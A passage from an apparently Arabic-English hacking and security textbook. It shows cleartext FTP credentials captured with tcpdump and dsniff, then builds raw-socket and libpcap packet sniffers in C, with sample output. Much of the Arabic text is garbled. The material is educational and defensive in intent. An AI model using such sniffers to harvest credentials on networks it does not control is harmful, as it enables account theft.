    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [187] 0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech.. 21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13 win 17304 <nop,nop,timestamp 466885 921434> (DF) 0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v 0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^... 0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,.......... 0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password 0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le 0x0050 6563 ec 21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840 <nop,nop,timestamp 921435 466885> (DF) [tos 0x10] 0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[ 0x0030 0007 1fc5 .... 21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76 win 5840 <nop,nop,timestamp 921809 466885> (DF) [tos 0x10] 0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!..... 0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)... 0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................ 0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite 0x0040 0d0a .. 21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27 win 17290 <nop,nop,timestamp 466923 921809> (DF) 0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v 0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^... 226 0x400 0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L........... 0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee 0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in... ‫حساب‬ ‫التقاط‬ ‫تم‬ ‫لقد‬ ‫ستخدم‬ُ‫مل‬‫ا‬ ‫بال‬ ‫اخلاص‬ FTP ‫بال‬ ‫اتصاله‬ ‫أثناء‬ FTP Server ، ‫ق‬ ‫يتم‬ ‫التي‬ ‫البيانات‬ ‫أن‬ ‫تعلم‬ ‫كام‬ ‫لرساهل‬ ‫بروتوكول‬ ‫باستخدام‬ ‫الشبكة‬ ‫عرب‬ ‫ا‬ ‫ال‬ FTP ‫ال‬ ‫أو‬ Telnet ‫تكون‬ Unencrypted .! :‫ذذه‬ ‫الضعف‬ ‫لنقطة‬ ‫توضيح‬ ‫وذذا‬ Using FTP both the command and data channels are unencrypted. Any data sent over these channels can be intercepted and read. One common exploit that takes advantage of this particular vulnerability is the man-in-the-middle attack using ARP poisoning and a packet sniffer.
  • 188.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [188] ‫السيد‬ ‫استخدم‬ ‫لذا‬ ‫بالطبع‬ “Leech” ‫ال‬ ‫بروتوكول‬ ‫نا‬ُ‫ذ‬ FTPS ‫ال‬ ‫من‬ ً‫ال‬‫بد‬ FTP ‫لن‬ ‫تظهر‬ ‫ال‬ Session ‫ال‬ ‫ألن‬ FTPS ‫ال‬ ‫م‬‫َخد‬‫ت‬‫س‬َ‫ي‬ SSL ‫ال‬ ‫عملية‬ ‫تشفري‬ ‫يف‬ Login . ‫ال‬ ‫استخدام‬ ‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬ ‫ل‬‫ث‬‫وبامل‬ Telnet ‫ال‬ ‫استخدام‬ ‫فضل‬ُ‫ي‬ SSH ‫َحقيق‬‫ت‬‫ل‬ .‫ن‬‫اآلم‬ ‫اإلتصال‬ ‫ال‬ ‫من‬ ً‫ال‬‫تفصي‬ ‫أكثر‬ ‫أدوات‬ ‫ُوجد‬‫ت‬ tcpdump ‫سابا‬‫ح‬ ‫بالتقاط‬ ‫تقوم‬ ‫ال‬ ‫ثل‬‫م‬ ‫بارش‬ُ‫م‬ ‫بشكل‬ ‫مني‬‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫ت‬ dsniff . Dsniff: reader@hacking:~/booksrc $ sudo dsniff -n dsniff: listening on eth0 ----------------- 12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp) USER leech PASS l8@nite Building Our Sniffer! ‫ال‬ ‫برامج‬ ‫تعمل‬ ‫كيف‬ ‫قرب‬ ‫عن‬ ‫سنتعرف‬ ‫واآلن‬ Network Sniffing ‫املختلف‬ ‫ة‬ . :‫ل‬ ُ‫الرج‬ ‫ذذا‬ ُ‫ه‬‫يقول‬ ‫ما‬ ‫عىل‬ ‫نظرة‬ ‫ُلق‬‫ن‬ ‫تعال‬ Packet sniffers can be coded by either using sockets api provided by the kernel, or by using some packet capture library like libpcap. Basic Sniffer using sockets To code a very simply sniffer in C the steps would be: 1. Create a raw socket. 2. Put it in a recvfrom loop and receive data on it. A raw socket when put in recvfrom loop receives all incoming packets. This is because it is not bound to a particular address or port.
  • 189.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [189] sock_raw = socket(AF_INET , SOCK_RAW , IPPROTO_TCP); while(1) { data_size = recvfrom(sock_raw , buffer , 65536 , 0 , &saddr , &saddr_size); } That’s all. The buffer will hold the data sniffed or picked up. The sniffing part is actually complete over here. The next task is to actually read the captured packet, analyze it and present it to the user in a readable format. … ‫ال‬ ‫سيستخدم‬ ‫أنه‬ ‫ربنا‬ ُ ‫خي‬ ‫أن‬ ‫ل‬ ُ‫الرج‬ ‫ذذا‬ ‫ريد‬ُ‫ي‬ Row Socket َ‫ي‬‫ل‬ ‫ال‬ ‫داطل‬ ‫حيدث‬ ‫ما‬ ‫طالله‬ ‫من‬ ‫ف‬‫كش‬ OSI Layers ، ‫وكام‬ ‫يظهر‬ ‫ال‬ ‫نوع‬ ‫حدد‬ ‫ققد‬ ‫الكود‬ ‫يف‬ Protocol Family ‫ب‬ IPv4 ، ‫ال‬ ‫نوع‬ ‫واطتار‬ Socket ‫ليكون‬ Row Socket ، ‫ثم‬ ‫ال‬ ‫بروتوكول‬ ‫مراقبة‬ ‫ريد‬ُ‫ي‬ ‫أنه‬ ‫حدد‬ TCP . ‫ال‬ ‫استخدم‬ ‫ثم‬ recvfrom( ) ‫ال‬ ‫تستقبل‬ ‫والتي‬ Arguments ‫تراذا‬ ‫التي‬ ‫بعمل‬ ‫يقوم‬ ‫كي‬ ‫استخدمها‬ ،‫باألعىل‬ Capture ‫لل‬ traffic ‫كا‬ َ‫رب‬َ‫ع‬ ‫املار‬ ‫ال‬ ‫يف‬ ‫زينه‬ َ ‫وخت‬ ‫الشبكة‬ ‫رت‬ buffer ، ‫ل‬‫كتم‬َ‫ي‬ ‫ولكي‬ ‫ال‬ ‫ذذا‬ Sniffer ‫م‬‫َستخد‬‫ن‬ ‫أن‬ ‫د‬ُ‫ب‬‫ال‬ ،‫الرائع‬ function ‫ال‬ ‫ذذه‬ ‫ض‬‫ر‬َ‫وع‬ ‫ز‬‫ر‬َ‫ق‬ ‫ل‬َ‫م‬َ‫ع‬‫ل‬ data . ‫كذلك‬ ‫أليس‬ ! ، ..‫سنستخدم؟‬ ‫قامذا‬ ‫م‬‫َخد‬‫ت‬‫نس‬ َ ‫س‬ ‫ال‬ dump( ) ‫السابق‬ ‫الفصل‬ ‫يف‬ ‫حناذا‬ َ ‫رش‬ ‫التي‬ .! ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ‫راجعتها‬ُ‫م‬ .‫عملها‬ ‫آلية‬ ‫تتذكر‬ ‫كي‬ ‫ال‬ ‫ذذا‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ذيا‬ Sniffer ‫ال‬ ‫لدطال‬ ‫بعد‬ Dump( ) :‫عليه‬ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include "error.h"
  • 190.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [190] int main(void) { int i, recv_length, sockfd; u_char buffer[9000]; if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) fatal("in socket"); for(i=0; i < 3; i++) { recv_length = recv(sockfd, buffer, 8000, 0); printf("Got a %d byte packetn", recv_length); dump(buffer, recv_length); } } ‫بفتح‬ ‫يقوم‬ ‫الكود‬ ‫ذذا‬ row socket ‫نوع‬ ‫من‬ TCP ، ‫عمل‬‫ب‬ ‫ويقوم‬ capture ‫لعدد‬ ( 3 Packets ) ‫ال‬ ‫دالة‬ ‫داطل‬ ‫يبدو‬ ‫كام‬ For( ) . ‫ال‬ ‫بطباعة‬ ‫يقوم‬ ‫ثم‬ row data ‫بكل‬ ‫اخلاصة‬ packet ‫ال‬ ‫باستخدام‬ dump( ) . ‫َغري‬‫ت‬ُ‫مل‬‫ا‬ ‫نا‬‫ق‬‫ر‬َ‫ع‬ ‫البداية‬ ‫يف‬ ‫أننا‬ ‫الحظ‬ buffer ‫نوعه‬ ‫نا‬‫دد‬ َ‫ح‬َ‫و‬ “unsigned char” . ‫اطرتنا‬ ‫اذا‬‫ومل‬ “unsigned char” ‫بالذات؟‬ ‫ال‬ ‫يف‬ ‫ُستخدم‬‫ت‬ ‫صيغة‬ ‫أقضل‬ ‫ألهنا‬ network programming ، ‫جيد‬ ‫بشكل‬ ‫تتعامل‬ ‫قهي‬ ‫ال‬ ‫مع‬ binary data .. ‫برنامج‬ ‫ر‬‫ك‬َ‫تتذ‬ ‫ذل‬ “the Server” ‫الذي‬ ‫عنه‬ ‫حتدثنا‬ ‫الثاين؟‬ ‫الباب‬ ‫يف‬ . ‫ال‬ ‫بعض‬ ‫بإرسال‬ ‫سنقوم‬ texts ‫ال‬ ‫هلذا‬ server ‫سيقو‬ ‫كيف‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫و‬ ‫ال‬ ‫م‬ sniffer ‫بعمل‬ capture ‫ال‬ ‫ذا‬‫هل‬ text ‫الذي‬ .‫لرساله‬ ‫جيري‬
  • 191.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [191] ‫ال‬ ‫تشغيل‬ ‫نتائج‬ ‫ذذه‬ Sniffer ‫قتح‬ ‫أثناء‬ Session ‫ال‬ ‫مع‬ Server : reader@hacking:~/booksrc $ sudo ./raw_tcpsniff Got a 68 byte packet 45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l. 80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&... 02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te 73 74 0d 0a | st.. Got a 70 byte packet 45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l. 80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u 02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA 41 41 41 41 0d 0a | AAAA.. Got a 71 byte packet 45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8@.@.F...*. c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l. 80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....hE......&... 02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask 66 6a 61 73 64 0d 0a | fjasd.. reader@hacking:~/booksrc $ ‫تذكر‬ ‫ن‬َ‫أ‬ ( 0x41 ) ‫َعني‬‫ت‬ ( A ) ‫بال‬ ASCII . ‫ال‬ ‫بة‬‫َجر‬‫ت‬‫ب‬ ‫منا‬ُ‫ق‬ ‫لقد‬ sniffing ‫ال‬ ‫باستخدام‬ row socket ، ‫ب‬ ِّ‫ُجر‬‫ن‬ َ ‫س‬ ‫واآلن‬ ‫ال‬ ‫استخدام‬ libpcap library ، ‫ال‬ ‫ها‬ُ‫م‬‫يستخد‬ ‫والتي‬ tcpdump ‫ال‬ ‫و‬ dsniff . libpcap Sniffer ‫ال‬ ‫ذذه‬ ‫تعريف‬ ‫ماييل‬ Lib : The Packet Capture library provides a high level interface to packet capture systems. All packets on the network, even those destined for other hosts, are accessible through this mechanism. It also supports saving captured packets to a “savefile”, and reading packets from a “savefile”.
  • 192.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [192] ‫كاليفورنيا‬ ‫جامعة‬ ‫لىل‬ ‫ينتمون‬ ‫رون‬ِّ‫طو‬ُ‫م‬ ‫ثالثة‬ ‫بكتابتها‬ ‫قام‬ ، ‫بريكيل‬ .. ‫هلم‬ ً‫ا‬‫كر‬ ُ ‫ش‬  . ‫ال‬ ‫باستخدام‬ ‫سنقوم‬ functions ‫ال‬ ‫ِبذه‬ ‫اخلاصة‬ Lib #include <pcap.h> #include "error.h" void pcap_fatal(const char *failed_in, const char *errbuf) { printf("Fatal Error in %s: %sn", failed_in, errbuf); exit(1); } int main() { struct pcap_pkthdr header; const u_char *packet; char errbuf[PCAP_ERRBUF_SIZE]; char *device; pcap_t *pcap_handle; int i; device = pcap_lookupdev(errbuf); if(device == NULL) pcap_fatal("pcap_lookupdev", errbuf); printf("Sniffing on device %sn", device); pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf); if(pcap_handle == NULL) pcap_fatal("pcap_open_live", errbuf); for(i=0; i < 3; i++) { packet = pcap_next(pcap_handle, &header); printf("Got a %d byte packetn", header.len); dump(packet, header.len); } pcap_close(pcap_handle); }
  • 193.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [193] ‫ال‬ ‫ذذه‬ Library ‫ال‬ َ‫ن‬‫م‬ ‫العديد‬ ‫ا‬‫ِب‬ functions ‫وال‬ structures .‫ُريد‬‫ن‬ ‫ما‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫َقوم‬‫ت‬‫ل‬ ‫بال‬ ‫نبدأ‬ main( ) : ‫باستدعاء‬ ‫منا‬ُ‫ق‬ struct ‫من‬ ‫ال‬ ‫ذذه‬ lib ‫وذو‬ pcap_pkthdr .. ‫ا‬ ‫منه‬ ‫شتققنا‬ object ‫وأسميناه‬ header .. ‫ال‬ ‫ذذا‬ object ‫ال‬ ‫نفس‬ ‫سيحمل‬ variables ‫ال‬ ‫ذذا‬ ‫حتت‬ ‫ة‬ َ‫ج‬‫ندر‬ُ‫مل‬‫ا‬ struct .‫م‬َ‫ل‬‫َع‬‫ت‬ ‫كام‬ :‫ذاذي‬ struct pcap_pkthdr { struct timeval ts; /* time stamp */ bpf_u_int32 caplen; /* length of portion present */ bpf_u_int32 len; /* length this packet (off wire) */ };  ‫ال‬ ‫قيه‬ ‫حدث‬ ‫الذي‬ ‫الوقت‬ ‫عرض‬‫ل‬ ‫ستخدم‬ُ‫ي‬ ‫متغري‬ ‫أول‬ capturing .  ‫ال‬ ‫حجم‬ ‫لك‬ ‫عرض‬َ‫ي‬‫س‬ ‫والثاين‬ data ‫ال‬ ‫عملية‬ ‫طالل‬ ‫التقاطها‬ ‫لك‬ ‫تاح‬ُ‫مل‬‫ا‬ capture .  ‫والثالث‬ ‫ال‬ ‫حجم‬ ‫لك‬ ‫عرض‬َ‫ي‬‫س‬ Packets .!‫التقاطها‬ ‫يتم‬ ‫التي‬ ‫الفعلية‬ ‫ال‬ ‫ه‬‫ب‬ ‫َضع‬‫ن‬ َ ‫س‬ ‫الذي‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫تعريف‬‫ب‬ ‫منا‬ُ‫ق‬ ‫ثم‬ row bytes ‫بصيغة‬ unsigned char .ً‫ا‬‫سالف‬ ‫أوضحنا‬ ‫كام‬ ‫متغري‬ ‫بعده‬ ‫ويأيت‬ ‫بإسم‬ errbuf ‫وذو‬ ‫ثابت‬ ‫حجم‬ ‫له‬ 256 bytes ، ‫ال‬ ‫سار‬َ‫م‬ ‫ه‬‫ب‬ ‫ع‬ َ ‫َض‬‫ن‬‫ل‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫سنستخدم‬ device ‫عملي‬‫ب‬ ‫قوم‬َ‫ي‬ َ ‫س‬ ‫الذي‬ ‫ة‬ ‫ال‬ sniffing ، ‫سيكون‬ ‫نا‬ُ‫ذ‬ ‫نا‬‫حالت‬ ‫يف‬ ‫وذو‬ /dev/eth0 ‫و‬ ‫ا‬‫ِب‬ ‫نعني‬ ethernet0 .‫لدينا‬ ‫الشبكة‬ ‫كارت‬ ‫لىل‬ ً‫ة‬‫لشار‬
  • 194.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [194] :‫اجلزء‬ ‫هلذا‬ ‫نأيت‬ ‫م‬ُ‫ث‬ device = pcap_lookupdev(errbuf); if(device == NULL) pcap_fatal("pcap_lookupdev", errbuf); printf("Sniffing on device %sn", device); ‫استخدمنا‬ pcap_lookupdev( ) ‫لديك‬ ‫الشبكة‬ ‫كارت‬ ‫من‬ ‫بالتحقق‬ ‫تقوم‬‫ل‬ : " Find the default device on which to capture " ‫نا‬َ‫ل‬ ‫ع‬‫ج‬ ُ ‫رت‬ َ ‫س‬َ‫ق‬ ،‫ذلك‬ ‫ر‬‫ذ‬َ‫ع‬َ‫ت‬ ‫ولن‬ error ‫طريق‬ ‫عن‬ fatal( ) .‫ل‬‫ب‬َ‫ق‬ ‫ن‬‫م‬ ً‫ا‬‫رار‬‫م‬ ‫استخمناذا‬ ‫التي‬ :‫اجلزء‬ ‫ذذا‬ ‫م‬ُ‫ث‬ pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf); if(pcap_handle == NULL) pcap_fatal("pcap_open_live", errbuf); ‫نا‬ُ‫ذ‬ ‫استخدمنا‬ pcap_open_live( ) ‫ال‬ ‫ن‬‫م‬ ‫وذي‬ libpcap library .ً‫ا‬‫أيض‬ ‫ال‬ ‫ن‬‫م‬ ‫ة‬َ‫موع‬ َ ‫جم‬ ‫ذ‬ ُ ‫وتأط‬ arguments ‫ظ‬‫ُالح‬‫ن‬ ‫كام‬ :  ‫ال‬ ‫سار‬َ‫م‬ ‫ذو‬ ‫األول‬ device ،‫نفسه‬ /dev/eth0  ‫والثاين‬ ‫ال‬ ‫ذو‬ maximum packet size  ‫ذو‬ ‫والثالث‬ promiscuous mode flag  ‫ال‬ ‫ذو‬ ‫والرابع‬ timeout value  ‫ذو‬ ‫واخلامس‬ pointer ‫ال‬ ‫لىل‬ ‫يشري‬ errbuf
  • 195.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [195] ‫األطري‬ ‫زء‬ُ‫جل‬‫ا‬ : for(i=0; i < 3; i++) { packet = pcap_next(pcap_handle, &header); printf("Got a %d byte packetn", header.len); dump(packet, header.len); } ‫بعمل‬ ‫نقوم‬ ‫كالعادة‬ loop ‫ال‬ ‫الستقبال‬ packets ، ‫ثالثة‬ ‫ليكون‬ ‫عددذم‬ ‫وحددنا‬ . ‫ال‬ ‫ذذه‬ pcap_next( ) ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ arguments ‫بار‬‫ع‬ ‫ة‬ ‫ال‬ ‫عن‬ handle ‫ال‬ ‫من‬ ‫القادم‬ Pcap_open_live( ) ‫ال‬ ‫ذو‬ ‫واآلطر‬ " address of our object " ‫من‬ ُ‫ه‬‫اشتققنا‬ ‫الذي‬ ‫ال‬ pcap_pkthdr ، ‫ال‬ ‫بيانات‬ ‫حيوي‬ ‫الذي‬ length of packets ‫ال‬ ‫و‬ time of capturing . ‫ال‬ ‫ذذه‬ ‫وظيفة‬ َ ‫َرب‬‫ت‬‫ُع‬‫ت‬ function ‫كاآليت‬ : “Return the next available packet” ‫ال‬ ‫وظيفة‬ ‫تأيت‬ ‫م‬ُ‫ث‬ dump( ) ، ‫و‬ ‫ل‬‫َقب‬‫ت‬‫َس‬‫ت‬ two arguments :  ‫ال‬ ‫ذو‬ ‫األول‬ packet ، ‫بار‬‫ع‬ ‫وذو‬ ‫ة‬ ‫عن‬ unsigned char ‫ال‬ ‫داطله‬‫ب‬ ‫حمل‬َ‫ي‬‫ل‬ row bytes  ‫ال‬ ‫أحد‬ ‫ذو‬ ‫والثاين‬ attributes ‫ال‬ ‫أو‬ elements ‫بال‬ ‫اخلاص‬ header ، .)‫جزء‬ ‫أول‬ ‫يف‬ ُ‫ه‬‫عن‬ ‫نا‬‫َلم‬‫ك‬َ‫ت‬( َ‫أ‬ ‫عني‬َ‫ي‬ ‫ذذا‬ ‫ال‬ ‫ذذا‬ ‫من‬ ‫ُريد‬‫ن‬ ‫ال‬ ‫َنا‬‫ن‬ struct ‫ال‬ ‫ذذا‬ ‫سوى‬ variable ‫بال‬ ‫تعلق‬ُ‫مل‬‫ا‬ length . ‫م‬‫َستخد‬‫ن‬ ً‫ا‬‫أطري‬ ‫م‬ُ‫ث‬ close_pcap( ) :‫العملية‬ ‫إلهناء‬ pcap_close() - close a capture device or save file :‫الكود‬ ‫ذذا‬ ‫بتشغبل‬ ‫نقوم‬‫ل‬ ‫ذيا‬
  • 196.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [196] reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap reader@hacking:~/booksrc $ ./pcap_sniff Fatal Error in pcap_lookupdev: no suitable device found reader@hacking:~/booksrc $ sudo ./pcap_sniff Sniffing on device eth0 Got a 82 byte packet 00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E. 00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9@.@.F ..*... 2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | *...........l... 05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T.......&..v.< 37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.this is a test 0d 0a | .. Got a 66 byte packet 00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..).e...l..P..E. 00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4=,@.@.'M..*... 2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | *.......l....... 230 0x400 05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | ..+?.......G'l&. a7 76 | .v Got a 84 byte packet 00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E. 00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.:@.@.F...*... 2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | *...........l... 05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....G 27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'lAAAAAAAAAAAAAA 41 41 0d 0a | AA.. reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ‫ال‬ ‫ظهور‬ ‫الحظ‬ error ‫استخدام‬ ‫عدم‬ ‫بسبب‬ ‫البداية‬ ‫يف‬ sudo command ..‫نجاح‬‫ب‬ ‫َم‬‫ت‬
  • 197.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [197] ً‫ة‬‫لثار‬ ‫أكثر‬ ‫ور‬ُ‫م‬ُ‫أ‬ ‫لىل‬ ‫اآلن‬ ‫ل‬‫ننتق‬ َ ‫س‬ .. ‫بعمل‬ ‫سنقوم‬ Analysis ‫لل‬ OSI Layers .. ‫ال‬ ‫تفهم‬ ‫بأن‬ ‫ك‬ُ‫د‬‫أع‬ OSI Layers .‫القادمة‬ ‫الفقرة‬ ‫انتهاء‬ ‫مع‬ ‫مق‬ُ‫ع‬‫ب‬ ..‫نا‬‫ب‬ ‫ذيا‬ Layer Analysis ‫ال‬ ‫ذذا‬ traffic ‫عن‬ ‫عبارة‬ ‫الشبكة‬ ‫عرب‬ ‫املار‬ packets ‫عىل‬ ‫حتتوي‬ data ‫و‬ headers ‫ق‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ ‫التفاصيل‬ ‫يوضح‬ ‫ة‬ ‫ال‬ ‫تلك‬‫ب‬ data . ‫بال‬ ‫سمى‬ُ‫ي‬ ‫ما‬ ‫مل‬َ‫ع‬‫ب‬ ‫اآلن‬ ‫سنقوم‬ “Decoding the Layers” . ،‫الثالث‬ ‫الطبقات‬ ‫عىل‬ ‫باملرور‬ ‫سنبدأ‬ (Data-Link, Network, and Transport Layers) ، ‫ب‬ ‫طالهلا‬ ‫نقوم‬ ‫تفكيك‬ ‫و‬ ‫ال‬ ‫حمتويات‬ ‫حتليل‬ Header ‫طبق‬ ‫بكل‬ ‫اخلاص‬ ‫ة‬ ، ‫وجتهيزذم‬ ‫كي‬ ‫بعد‬ ‫قيام‬ ‫استخدامهم‬ ‫يتم‬ .. ‫س‬ ‫بال‬ ‫نبدأ‬ Ethernet Header . Ethernet Header ‫التشغيل‬ ‫نظام‬ ‫يف‬ Linux ‫ال‬ ‫تعريف‬ ‫تم‬ structure ‫بال‬ ‫اخلاص‬ Ethernet Header :‫املسار‬ ‫ذذا‬ ‫عرب‬ /user/include/linux/if_ether.h ‫لك‬ ‫سأعرض‬ screenshot :‫امللف‬ ‫ذذا‬ ‫من‬ ‫جزء‬ ‫توضح‬ ‫وذي‬ ،‫جهازي‬ ‫من‬
  • 198.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [198] ‫أول‬ Define ‫ل‬ ‫اطتصار‬ ‫ذي‬ " Ethernet Address Length " ‫ختصيص‬ ‫َم‬‫ت‬ ُ‫ه‬‫أن‬ ‫تعني‬ 6 bytes ‫ال‬ ‫أجل‬ ‫من‬ MAC Address . :‫ب‬ ‫يبدأ‬ ‫الذي‬ ‫السطر‬ ‫يف‬ ‫الحظ‬ #define ETH_HLEN 14 ‫بتعريف‬ ‫يقوم‬ ‫لنه‬ ‫طول‬ ‫ال‬ Ethernet Header ‫ليكون‬ 14 Bytes .
  • 199.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Security & Attacks [199] ً‫ا‬‫أيض‬ ‫ال‬ field ‫بال‬ ‫اخلاص‬ data length ُ‫ه‬‫أن‬ ‫َر‬‫ك‬َ‫ذ‬ ‫ال‬ ‫ز‬َ‫َجاو‬‫ت‬َ‫ي‬ ‫ال‬ 1500 bytes ، ‫ال‬ ‫ذو‬ ‫وذذا‬ MTU ‫ا‬ ‫يف‬ ‫عنه‬ ‫َكلمنا‬‫ت‬ ‫لذي‬ ‫السابق‬ ‫الفصل‬ . ‫يليه‬ ‫الذي‬ ‫السطر‬ ‫يف‬ ‫الحظ‬ ‫ال‬ ‫بإضاقة‬ َ‫م‬‫قا‬ ُ‫ه‬‫أن‬ 14 bytes ‫ال‬ ‫عىل‬ 1500 ‫ال‬ ‫وذي‬ ‫حصلة‬ُ‫مل‬‫ا‬ ‫عطينا‬ُ‫ي‬‫ل‬ “Frame” ‫ال‬ ‫عن‬ ‫عباره‬ ‫ذو‬ ‫الذي‬ Data ‫لليها‬ ً‫ا‬‫ضاق‬ُ‫م‬ ‫ال‬ Header . :‫ذاذو‬ #define ETH_ALEN 6 /* Octets in one ethernet addr */ #define ETH_HLEN 14 /* Total octets in header */ /* * This is an Ethernet frame header. */ struct ethhdr { unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */ unsigned char h_source[ETH_ALEN]; /* Source ether addr */ __be16 h_proto; /* Packet type ID field */ } __attribute__((packed)); ‫ما‬ ‫ل‬‫وص‬َ‫ُح‬‫ن‬‫ل‬ ‫ذيا‬ ‫واآلن‬ ‫مىض‬ : 6 bytes Source MAC + 6 bytes Dest MAC + 2 bytes type of ethernet packet = 14 bytes (Ethernet Header) ‫ذل‬ ‫ال‬ ‫ذذا‬ ‫تتذكر‬ “type of ethernet packet” ‫؟‬ ‫عنه‬ ‫حتدثنا‬ ‫ققرة‬ ‫يف‬ ‫ال‬ ‫بروتوكول‬ ARP 